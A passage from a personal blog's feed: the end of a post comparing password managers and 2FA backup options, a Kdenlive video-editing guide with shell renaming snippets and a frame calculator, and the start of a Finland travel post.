&lt;p&gt;For a very long time I have stored my passwords within Firefox, synced "in the Cloud" through my Firefox account. This solution offers four main advantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Passwords are synced accross devices, always at hand&lt;/li&gt;
&lt;li&gt;Passwords are conveniently auto-filled as I browse the web&lt;/li&gt;
&lt;li&gt;Passwords are encrypted on Mozilla's servers (&lt;a href="https://support.mozilla.org/en-US/questions/1169355"&gt;source&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Passwords are encrypted locally on my computer (&lt;a href="https://support.mozilla.org/en-US/questions/1210914"&gt;source&lt;/a&gt;), although a Master Password is required to prevent theft (since the encryption key is stored in plain) by adding another layer of security (&lt;a href="https://support.mozilla.org/en-US/questions/1041243"&gt;source&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While this solution had seemed like a good one for a while, I recently thought I could do better than putting my trust in a company - even though Mozilla is respectable and trustworthy. Eventually, every big company gets hacked and I don't really know how they encrypt my data on their servers.&lt;/p&gt;
&lt;p&gt;Moreover, I wanted to be able to safely backup my passwords somewhere (offline, if need be, or elsewhere). My past solution had a flaw: were I to lose my laptop and smartphone (theft, apartment burns dowm, earthquake, whatever), I'd have no way to recover my passwords since I don't know any of them, not even my Firefox password (what good would it be for anyway, since two factor authentication is enabled and my two only trusted devices would be lost).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Side note on this topic&lt;/em&gt;: I always randomly type my passwords as I create accounts. I don't use services that generate them for me (like Dashlane or Lastpass to mention a few). I don't trust these programs to store my passwords (we'll see why in a bit). Nonetheless, I always make sure to include capital letters, numbers and special characters, with a length greater than 8.&lt;/p&gt;
&lt;p&gt;With this all in mind, I needed to find a solution that could fulfill the following requirements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not hosted on someone else's servers&lt;/li&gt;
&lt;li&gt;Encrypted at all times&lt;/li&gt;
&lt;li&gt;Easily accessible on multiple devices, including Linux and mobile phone(s)&lt;/li&gt;
&lt;li&gt;Synced accross my devices&lt;/li&gt;
&lt;li&gt;As much user friendly as possible so that I can easily switch to this new solution and change my habits&lt;/li&gt;
&lt;li&gt;Backed up offline or in a different location AND easily recoverable in case of loss of my trusted devices&lt;/li&gt;
&lt;li&gt;Based on a non proprietary solution - both free and open source ideally - and free of charge&lt;/li&gt;
&lt;li&gt;Auto form-filling on a web is a plus (through a web extension for instance)&lt;/li&gt;
&lt;li&gt;Two factor auth management is a plus: it could be nice to save 2FA secrets as well&lt;/li&gt;
&lt;li&gt;Password generation is optional, I'm fine with random typing on my keyboard every once in a while&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="market-analysis"&gt;Market analysis&lt;/h2&gt;
&lt;h3 id="1password"&gt;1password&lt;/h3&gt;
&lt;p&gt;Apparently a great tool, I've read a lof of good reviews. Advocated by the famous website &lt;a href="https://haveibeenpwned.com/1Password"&gt;Have I Been Pwned&lt;/a&gt;. However, since this is proprietary software, it is de facto a no-go for me. Plus it's a paid service.&lt;/p&gt;
&lt;h3 id="keepass"&gt;Keepass&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://keepass.info/"&gt;A tool initially made for Windows&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="pros"&gt;Pros&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Encryption out of the box&lt;/li&gt;
&lt;li&gt;Free and open source&lt;/li&gt;
&lt;li&gt;Available on Linux through a port&lt;/li&gt;
&lt;li&gt;There's an Android app&lt;/li&gt;
&lt;li&gt;There's a &lt;a href="https://addons.mozilla.org/fr/firefox/addon/keefox/"&gt;Firefox extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Auto form filling&lt;/li&gt;
&lt;li&gt;Automatic generation of passwords&lt;/li&gt;
&lt;li&gt;I can easily save a backup file with all my passwords on my personal cloud&lt;/li&gt;
&lt;li&gt;&lt;a href="https://keepass.info/plugins.html#keeotp"&gt;2FA management through a plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://keepass.info/plugins.html#otpkeyprov"&gt;Database can be protected with 2FA through a plugin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="cons"&gt;Cons&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;I must trust the binaries or build them myself after reviewing the sources...&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="pass-linux-cli"&gt;Pass (Linux CLI)&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.passwordstore.org/"&gt;A tool&lt;/a&gt; &lt;a href="https://wiki.archlinux.org/index.php/Pass"&gt;for Linux&lt;/a&gt; (CLI) based on GPG. Convenient on a laptop, not very much on a mobile phone. However, I tend to trust a CLI tool more than Keepass. One of the reasons I guess is that it's on the official Linux distributions repos.&lt;/p&gt;
&lt;p&gt;In case of phone loss, here is a nice way to restore the code on your phone by generating QR codes from what's stored in pass:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt install qrencode
find .password-store/ -type f -iname &lt;span class="s2"&gt;&amp;quot;*.otp.gpg&amp;quot;&lt;/span&gt; -printf &lt;span class="s1"&gt;&amp;#39;%P\n&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed -n &lt;span class="s1"&gt;&amp;#39;s|\.gpg||p&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; f&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; pass &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; s&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; qrencode -o - &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; display&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4 id="pros_1"&gt;Pros&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Encryption out of the box with GPG&lt;/li&gt;
&lt;li&gt;Automatic generation of passwords&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.passwordstore.org/#other"&gt;Cross platform&lt;/a&gt;: Linux, Android and Firefox plugin at least&lt;/li&gt;
&lt;li&gt;I can easily save a backup file with all my passwords on my personal cloud&lt;/li&gt;
&lt;li&gt;2FA management (actually Pass can save any arbitraty data, it's essentially made up of encrypted plain text files)&lt;/li&gt;
&lt;li&gt;Super easily backupable (zip the directory, that's all) on my personal cloud&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="cons_1"&gt;Cons&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Not very user friendly&lt;/li&gt;
&lt;li&gt;I must trust binaries, specifically the Android app and Firefox binary; the Linux script has all my trust though (yes, &lt;code&gt;pass&lt;/code&gt; is a script)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="dashlane-and-lastpass"&gt;Dashlane and Lastpass&lt;/h3&gt;
&lt;p&gt;Proprietary software: no go.&lt;/p&gt;
&lt;p&gt;One cool feature Dashlane offers that is worth mentioning though: setting an emergency contact for your important accounts in case of a critical matter. I wish other tools offered the same feature.&lt;/p&gt;
&lt;h3 id="conclusion"&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Seems like I'll either go with either Keepass or Pass. I'll update this article as I become familiar with either of them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update January 2019&lt;/strong&gt;: I've been using &lt;code&gt;pass&lt;/code&gt; for a few months now and am very satisfied so far.&lt;/p&gt;
&lt;h1 id="another-topic-two-factor-authentication"&gt;Another topic: two-factor authentication&lt;/h1&gt;
&lt;p&gt;For this one, I felt that storing my secrets on my phone (Google Authenticatgor to name it) only sounded a little too much like a Single Point of Failure. Should I ever lose access to my phone for any reason, I'd be locked out of services with two factor authentication enabled. Time had come to find a way to save a backup of these secrets.&lt;/p&gt;
&lt;p&gt;To do so, I developed my own solution: &lt;a href="https://github.com/rpellerin/gauth2/"&gt;gauth2&lt;/a&gt;. It is forked from another project (&lt;a href="https://github.com/gbraad/gauth"&gt;gauth&lt;/a&gt;). I improved it and redesigned it a bit. I also added some features.&lt;/p&gt;
&lt;p&gt;How does it work? Well, it is a web app that stores in one's browser (in the &lt;code&gt;LocalStorage&lt;/code&gt;, to be precise) one's secrets and generate One Time Passwords based on these secrets. The secrets can even be encrypted with a password, to prevent someone with access to the browser from stealing the secrets. It also allows secrets to be exported and imported for more convenience. I am very satisfied with it so far. This, on an encrypted laptop, coupled with Google Authenticator, is a pretty solid combination.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Hope this helps. Cheers!&lt;/p&gt;
&lt;h1 id="online-resources"&gt;Online resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.juliaferraioli.com/blog/2018/08/2fa-sms-you/"&gt;2FA, SMS, and you&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://korben.info/authentification-double-facteur-2fa.html"&gt;L’authentification double facteur (2FA), oui mais pas n’importe comment !&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://chown.me/blog/my-recent-journey-with-2FA.html"&gt;My recent journey with 2FA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@chasinglogic/the-definitive-guide-to-password-store-c337a8f023a1"&gt;The Definitive Guide to password-store&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@davidpiegza/using-pass-in-a-team-1aa7adf36592"&gt;Using pass in a team&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Computers"></category><category term="password"></category><category term="security"></category></entry><entry><title>Video Editing on Linux</title><link href="https://romainpellerin.eu/video-editing-on-linux.html" rel="alternate"></link><published>2018-05-13T17:30:00+02:00</published><updated>2025-08-14T14:20:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-05-13:/video-editing-on-linux.html</id><summary type="html">&lt;p&gt;How to edit videos on Linux with Kdenlive&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;UPDATE SEPTEMBER 2024: this article is obsolete. I now edit with &lt;a href="https://romainpellerin.eu/farewell-kdenlive-hello-davinci-resolve-and-colors-explained.html"&gt;DaVinci Resolve&lt;/a&gt;, shoot in 4K and 30 FPS.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When I go on holidays or do sports, I usually film with three different devices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My smartphone&lt;/li&gt;
&lt;li&gt;A GoPro&lt;/li&gt;
&lt;li&gt;An Insta360 One X2&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, I like to make video montages. But because it usually does not happen more than twice a year, I regularly forget how to make a great movie. So this article acts as a reminder for myself. I thought it could be useful to other people too, that's why I put it online.&lt;/p&gt;
&lt;h1 id="overall-process"&gt;Overall process&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Record in 1080p, at 25FPS, unless you want to go fancy and do 100 FPS (for decent slow-mo) and/or 4k. Why 25 and not 24 or 30? Because 24 is not always 24, sometimes it's actually 23.976, and 30 is sometimes 29.97, depending on the camera you are using. You're never so sure. 30FPS on the GoPro is 29.97, but 30FPS on the Insta360 One X2 gives 30 when exported from the mobile app, 29.97 from the desktop app. While 25 is always 25, on any camera, any software. (&lt;strong&gt;update september 2024: I now record in 30fps on all my devices&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;Download &lt;a href="https://kdenlive.org/en/download/"&gt;Kdenlive&lt;/a&gt; for the video montage.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extract regular videos out of 360 videos using the desktop application (&lt;a href="https://www.insta360.com/download/insta360-onex2"&gt;Insta360 STUDIO&lt;/a&gt;) from Insta360, not the mobile one, as you get better quality. Export with the following settings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable "Lock Direction"&lt;/li&gt;
&lt;li&gt;When doing slow-motion: disable "Motion blur"&lt;/li&gt;
&lt;li&gt;I find the "Optical Flow stitching" better than "Dynamic Stitching", so I always keep this one on&lt;/li&gt;
&lt;li&gt;"Chromatic Calibration" always on&lt;/li&gt;
&lt;li&gt;25FPS when exporting (&lt;strong&gt;update september 2024: 30FPS&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;25Mbps when exporting&lt;/li&gt;
&lt;li&gt;HEVC (H265) when exporting&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;update september 2024: check Dolby Vision, to export in Rec.2020 HLG, otherwise you'll get Rec.709&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Careful, after exporting, the first frame (or first 2 frames) might not match the angle/level of zoom you picked. Remove these frames in Kdenlive when importing, if necessary.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can overlay GPS data (from a Garmin device for instance) on top of a video to show nice stats such as the speed, the altitude, etc. To do so, refer to &lt;a href="https://romainpellerin.eu/creating-gpx-overlay-videos-on-linux.html"&gt;this article that I wrote&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Using VLC, &lt;code&gt;Tools&lt;/code&gt; &amp;gt; &lt;code&gt;Codec information&lt;/code&gt;, check the framerate. All videos must have the same frame rate otherwise you might encounter issues in Kdenlive (Kdenlive will usually reencode your input video if the framerate is variable for instance).&lt;/li&gt;
&lt;li&gt;When creating a new project in Kdenlive, make sure to use the very same frame rate and frame size as the input videos, so in my case 25FPS and 1080p. Pick BT.709 as the color range, or best BT.2020 if available. FPS, frame size, color range, all of that can be changed later in &lt;code&gt;Project&lt;/code&gt; &amp;gt; &lt;code&gt;Project Settings&lt;/code&gt; but &lt;strong&gt;it is not advised as it will shift clips randomly for example when changing the FPS&lt;/strong&gt; (I experienced it).&lt;/li&gt;
&lt;li&gt;In Kdenlive settings, under &lt;code&gt;Playback&lt;/code&gt;, make sure GPU acceleration is disabled, cause it's buggy. Also enable &lt;code&gt;Proxy clips&lt;/code&gt; for videos larger than 1000 pixels.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You probably want to import your video clips in a chronological order. Here is how to rename videos to match their creation date:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Insta360 videos&lt;/span&gt;
$ &lt;span class="k"&gt;for&lt;/span&gt; f &lt;span class="k"&gt;in&lt;/span&gt; *.mp4&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; mv -n &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -c &lt;span class="m"&gt;5&lt;/span&gt;-19&lt;span class="k"&gt;)&lt;/span&gt;.mp4&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
renamed &lt;span class="s1"&gt;&amp;#39;VID_20230708_154459_00_001.mp4&amp;#39;&lt;/span&gt; -&amp;gt; &lt;span class="s1"&gt;&amp;#39;20230708_154459.mp4&amp;#39;&lt;/span&gt;

&lt;span class="c1"&gt;# GoPro videos and smartphone photos&lt;/span&gt;
$ &lt;span class="k"&gt;for&lt;/span&gt; f &lt;span class="k"&gt;in&lt;/span&gt; *.MP4&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; mv -n &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;exiftool -T -createdate -d &lt;span class="s2"&gt;&amp;quot;%Y%m%d_%H%M%S&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;.MP4&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
renamed &lt;span class="s1"&gt;&amp;#39;GX010697.MP4&amp;#39;&lt;/span&gt; -&amp;gt; &lt;span class="s1"&gt;&amp;#39;20230709_091946.MP4&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove the audio track from clips after importing them in Kdenlive, where audio does not matter. Or lower the volume by some decibels.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;You can "lock" audio or video tracks, when you absolutely do not want to misclick and inadvertently move clips.&lt;/li&gt;
&lt;li&gt;When rendering, export in HEVC (smaller file size than H264). In the end, Youtube will re-encode any uploaded video to further cut down its size, and the visual quality will be more or less the same. Exporting in VP9 results in a file slightly bigger than HEVC, with the same quality. AV1 is supposedly the shit, better quality and smaller. Yet, in 2021, Kdenlive shows it but I cannot select it, it's grayed out. So I recommend HEVC, with the second slowest encoder speed (&lt;code&gt;preset=slower&lt;/code&gt;), and keep the default quality setting, don't tick "Custom Quality" (keep &lt;code&gt;crf=28&lt;/code&gt;). However, if the video is short enough and you can afford the extra rendering time, you should go for the "slowest" preset. It will take longer but the overall quality will be better. Also, if the video is short, you may go for a custom quality. I find 75% (&lt;code&gt;crf=23&lt;/code&gt;) very good, without increasing the file size too much. Lastly, use 4 threads but do not use parallel processing, as it is still experimental and not stable enough (in 2024 at least).&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="transitions-songs-music-sync-and-beats-per-minute"&gt;Transitions, songs, music sync and beats per minute&lt;/h1&gt;
&lt;p&gt;I like to sync the audio track with the video, so I try my best to change scenes on the beat. Also, I very often correct the volume of the audio tracks (usually reducing the songs' volume and increasing the original sound from the videos), through the built-in "Volume (keyframable)" effect.&lt;/p&gt;
&lt;p&gt;For transitions, I recommend that the new clip starts one or 2 frames before the next music beat, because of &lt;a href="https://en.wikipedia.org/wiki/Persistence_of_vision"&gt;the persistence of vision&lt;/a&gt;. I read &lt;a href="https://www.reddit.com/r/kdenlive/comments/dzzcib/is_there_a_way_to_match_the_bpm_of_a_song_while/"&gt;on Reddit&lt;/a&gt; that the human eye takes 1/10th of a second to process images, while sound is near instant. 1/10th of a second, with 25FPS, would mean 2 frames.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/kdenlive-transition-music-beat.png" alt="Screenshot of Kdenlive" /&gt;
&lt;figcaption&gt;Here the transition happens 1 frame before the next music beat&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Do not forget that Kdenlive does not use milliseconds but instead a number of frames.&lt;/strong&gt; That should be helpful when resizing clips. Say you have a song at 100 beats per minutes and you want 4-beat clips at 25 fps. Do: 4*60/100 = 2.4. Then, do the math again for .4 to use a scale from 0 to 25 instead of 100: 0.4*25=10 frames. Which gives you clips that last 00:00:02 seconds and 10 frames, Kdenlive-wise.&lt;/p&gt;
&lt;p&gt;To find the BPM of a song, use any of the following links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.beatsperminuteonline.com/"&gt;Tap BPM - Online Beats Per Minute Calculator and Counter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://getsongbpm.com/tools/audio"&gt;MP3 to BPM (Song Analyser)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://songbpm.com/"&gt;Find the BPM for any song | Type a song, get a BPM | Every tempo | songbpm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="beats-calculator"&gt;Beats calculator&lt;/h2&gt;
&lt;p&gt;&lt;input type="text" id="beats" placeholder="Beats per minute here"/&gt;
&lt;input type="text" id="fps" placeholder="Desired frames per second here"/&gt;&lt;/p&gt;
&lt;pre id="results"&gt;&lt;/pre&gt;
&lt;script&gt;
    let BEATS = [1,2,3,4,6,8]
    const inputBeats = document.querySelector('input#beats')
    const inputFps = document.querySelector('input#fps')
    function inputChange() {
        const value = inputBeats.value
        const fps = inputFps.value
        if (!value || isNaN(value) || !fps || isNaN(fps)) return
        const pre = document.getElementById('results')
        pre.innerHTML = ""
        BEATS = [...new Array(+value)].map(function(_,i) { return i })
        const result = BEATS.concat(value).filter(function(beat) { return beat &gt; 0 }).map(function(beat) {
            let tempResult = (beat*60)/value
            const regex = tempResult.toString().match(/^(\d+\.)(\d+)$/)
            if (regex) {
                const integer = regex[1]
                const floating = (parseFloat("0." + regex[2], 10)*100*fps)/100
                const seconds = parseInt(integer, 10)
                const frames = Math.round(floating)
                tempResult = `${seconds} seconds and ${frames} frames (${(seconds * fps) + frames} frames)`
            }
            else {
                tempResult = `${tempResult} seconds and 0 frames (${tempResult * fps} frames)`
            }
            pre.innerHTML += "- " + beat + " beats = " + tempResult + "\n"
        })
    }
    inputBeats.oninput=inputChange
    inputFps.oninput=inputChange
    if (inputBeats.value || inputFps.value) {
        inputChange()
    }
&lt;/script&gt;

&lt;h1 id="fancy-effects-in-kdenlive"&gt;Fancy effects in Kdenlive&lt;/h1&gt;
&lt;h2 id="fade-inout"&gt;Fade-in/out&lt;/h2&gt;
&lt;p&gt;There's a built-in effect for that. Make sure to tick "fade to/from dark".&lt;/p&gt;
&lt;video controls&gt;
    &lt;source src="./videos/kdenlive/fade-out.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2 id="split-screen"&gt;Split screen&lt;/h2&gt;
&lt;video controls&gt;
    &lt;source src="./videos/kdenlive/split-screen.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2 id="iris-out"&gt;Iris out&lt;/h2&gt;
&lt;video controls&gt;
    &lt;source src="./videos/kdenlive/iris-out.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2 id="rewind-video-vhs-style"&gt;Rewind video (VHS style)&lt;/h2&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/MnErqP9iIWU?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h2 id="text-reveal-behind-an-object"&gt;Text reveal behind an object&lt;/h2&gt;
&lt;video controls&gt;
    &lt;source src="./videos/kdenlive/text-reveal-behind-an-object.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2 id="blend-a-video-with-a-solid-color"&gt;Blend a video with a solid color&lt;/h2&gt;
&lt;video controls&gt;
    &lt;source src="./videos/kdenlive/blend-video-and-color.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2 id="cinematoscope-aspect-ratio"&gt;Cinematoscope aspect ratio&lt;/h2&gt;
&lt;video controls&gt;
    &lt;source src="./videos/kdenlive/cinematoscope-aspect-ratio.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2 id="old-film"&gt;Old film&lt;/h2&gt;
&lt;p&gt;Use the "Old film" effect.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/qoly_IIyqyI?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h2 id="how-to-place-a-video-inside-text"&gt;How to place a video inside text&lt;/h2&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/nM6q7FJSenE?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;That's about it!&lt;/p&gt;</content><category term="Video editing"></category><category term="video"></category><category term="linux"></category></entry><entry><title>Finland</title><link href="https://romainpellerin.eu/finland.html" rel="alternate"></link><published>2018-04-26T23:40:00+02:00</published><updated>2025-04-03T16:14:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-04-26:/finland.html</id><summary type="html">&lt;p&gt;Finland, land of lakes and forests&lt;/p&gt;</summary><content type="html">&lt;p&gt;Late March this year, I went to Finland for 3 days over the weekend. As a first-timer, I was not expecting so much snow and ice this late in Winter. We had two sunny days, slightly above 0 degrees celsius. The third day was all snowy.&lt;/p&gt;
&lt;p&gt;I got to visit Helsinki and Tampere, the two major cities of the country. I found these two cities incredibly empty, in terms of population. The country has only 5.5 million inhabitants. The artichecture is rather different than that we have in France, yet familiar. The cities were pretty small. I wished I could have gone out of cities to explore the countryside. Next time probably.&lt;/p&gt;
&lt;h1 id="a-few-fun-facts-and-pro-tips"&gt;A few fun facts and pro tips&lt;/h1&gt;
&lt;p&gt;A weekend was more than enough to spot major differences between Finland... and the rest of the world.&lt;/p&gt;
&lt;p&gt;R-kioski is to Finland what 7-eleven is to the USA. In other words, R-kioski stores are everywhere (I even found 2 or 3 stores inside the very same train station in Helsinki, separated from one another by a few meters).&lt;/p&gt;
&lt;p&gt;Almost every house with more than one floor has its own &lt;a href="http://www.orima.fi/en/roof-safety-products/ladders/"&gt;wall ladder&lt;/a&gt; that reaches the roof. From what I heard it is used to remove snow in Winter.&lt;/p&gt;
&lt;p&gt;Also, most houses have two doors and double windows, to protect them from the cold.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/finland/window.jpg" alt="A window" /&gt;
&lt;figcaption&gt;A window in Finland&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Public announcements are given in English on the train line that connects Tampere and Helsinki. I believe all main train lines have public announcements in English. Also, the train to Tampere is pretty cheap, I paid 18 euros for a one-way ride.&lt;/p&gt;
&lt;p&gt;To get to the city center from the airport, ride the I or P train for about half an hour. You'll find the train station undeground, underneath the airport.&lt;/p&gt;
&lt;p&gt;I was told that the sea shore and all lakes are completely frozen from December until April every year. Frozen to the point that people do activities on lakes, such as skiing, riding snowmobiles or four wheelers, ice skating, walking their dog, sledding, biking, and even kiteboarding (true story!). I also witnessed a snowplow that was making a road on the ice for bikes to ride.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/finland/gmaps.gif" alt="Frozen lake" /&gt;
&lt;figcaption&gt;Not swimming, but walking on a frozen lake&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;There is a showerhead connected to sinks in every bathroom, apparently used to... better wash one's ass, after wiping it.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/finland/bathroom.jpg" alt="Bahtroom showerhead" /&gt;
&lt;figcaption&gt;A bathroom in a restaurant&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Last but not least, we found this very peculiar wall cabinet in our AirBnB room. Extremely useful! Apparently, &lt;a href="https://99percentinvisible.org/article/finnish-dishes-simple-nordic-design-beats-dishwashers-drying-racks/"&gt;it's a thing in Finland&lt;/a&gt;. &lt;a href="https://www.apartmenttherapy.com/finnish-dish-drying-closets-251178"&gt;Smart people!&lt;/a&gt;&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/finland/dish.jpg" alt="A drying cabinet" /&gt;
&lt;figcaption&gt;A drying cabinet&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Oh, and saunas are a major thing there...&lt;/p&gt;
&lt;h1 id="nice-places-to-check-out"&gt;Nice places to check out&lt;/h1&gt;
&lt;h2 id="helsinki"&gt;Helsinki&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Recatta&lt;/li&gt;
&lt;li&gt;Sibelius Monument&lt;/li&gt;
&lt;li&gt;Suomenlinna&lt;/li&gt;
&lt;li&gt;Market Square&lt;/li&gt;
&lt;li&gt;Senate Square&lt;/li&gt;
&lt;li&gt;Helsinki Cathedral&lt;/li&gt;
&lt;li&gt;Uspenski Cathedral&lt;/li&gt;
&lt;li&gt;SkyWheel&lt;/li&gt;
&lt;li&gt;Temppeliaukio Church&lt;/li&gt;
&lt;li&gt;Kamppi Chapel&lt;/li&gt;
&lt;li&gt;St John's Church (though I did not get to go inside)&lt;/li&gt;
&lt;li&gt;Mikael Agricola Church (did not go inside either)&lt;/li&gt;
&lt;li&gt;Museum of Contemporary Art Kiasma (did not either)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For sushi lovers, check out "Fuku", close to the train station: amazing buffet!&lt;/p&gt;
&lt;h2 id="tampere"&gt;Tampere&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Tampere Orthodox Church&lt;/li&gt;
&lt;li&gt;Tampere Cathedral&lt;/li&gt;
&lt;li&gt;Näsinneula Observation Tower&lt;/li&gt;
&lt;li&gt;Särkänniemi&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/finland/tampere.jpg" alt="View from the tower in Tampere" /&gt;
